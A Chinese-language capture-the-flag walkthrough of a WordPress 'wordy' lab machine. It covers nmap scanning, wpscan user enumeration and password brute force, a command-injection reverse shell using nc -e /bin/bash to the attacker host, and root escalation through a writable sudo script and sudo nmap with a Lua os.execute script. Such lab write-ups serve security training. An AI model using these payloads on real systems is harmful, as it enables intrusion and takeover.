文章目录
- 1. 靶场搭建
- 2. 信息收集
- 2.1 确定靶机ip
- 2.2 主机信息收集
- 2.3 主机目录扫描
- 2.4 网站用户名和密码爆破
- 3. 反弹shell
- 4. 提权
1. 靶场搭建
靶场源地址
检验下载文件的检验码,对比没问题使用vmware打开
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
2. 信息收集
2.1 确定靶机ip
根据虚拟机网络适配器模式,确定靶机所在网段。使用nmap进行网段存活主机,排除法确定靶机ip.
nmap -sn 192.168.6.100/24
通过排除法确定靶机ip为192.168.6.101
2.2 主机信息收集
通过nmap探测靶机开放端口和端口对应服务
nmap -Ap 1-65535 192.168.6.101
确定开放端口:
- 22:ssh服务
- 80: http服务
访问http://192.168.6.101
时,url自动重定向到http://wordy
, 修改/etc/hosts
添加主机名和ip的映射.成功访问,发现是wordpress框架。
2.3 主机目录扫描
# 目录扫描
dirsearch -u http://wordy
找到登录页面地址,http://wordy/wp-login.php
2.4 网站用户名和密码爆破
这个靶场和dc2靶场使用相同的框架,接下来处理和dc-2靶场差不多方法获取用户名,发现成功获取到用户,加上靶场原页面提供了密码字典的线索,直接进行爆破.可以参考之前的文章DC-2靶场
# 获取网站用户名
wpscan --url http://wordy -e u
# 爆破
gunzip /usr/share/wordlists/rockyou.txt.gz
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
wpscan --url http://wordy -e u -P passsword.txt
成功获取到账号密码
3. 反弹shell
登录成功之后,发现后台存在图中可以执行命令。这里输入框长度有限制,可以直接使用浏览器工具修改输入框的最大长度。
# kali中执行
nc -lvp 8888
# 输入框中输入
127.0.0.1|nc 192.168.6.106 8888 -e /bin/bash
反弹shell成功,执行python代码创建一个伪终端,提高交互.
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'
4. 提权
获取shell之后,在`/home/mark/stuff/things-to-do.txt中发现graham的用户账号密码.然后使用ssh进行登录
`
graphm登录成功之后,执行sudo -l发现graphm可以使用sudo 以jens身份执行脚本。并且graphm有backups.sh的修改权限。
使用以下命令获取jens的权限,成功切换至jens身份.
echo "/bin/bash" > /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh
执行sudo -l
,查看sudo权限,发现当前用户可以无密码以root身份执行nmap。尝试使用namp进行提权。
vim test.lua
# 在lua脚本中输入
os.execute("/bin/bash")
sudo nmap --script test.lua
成功获取root权限.
获取目标flag内容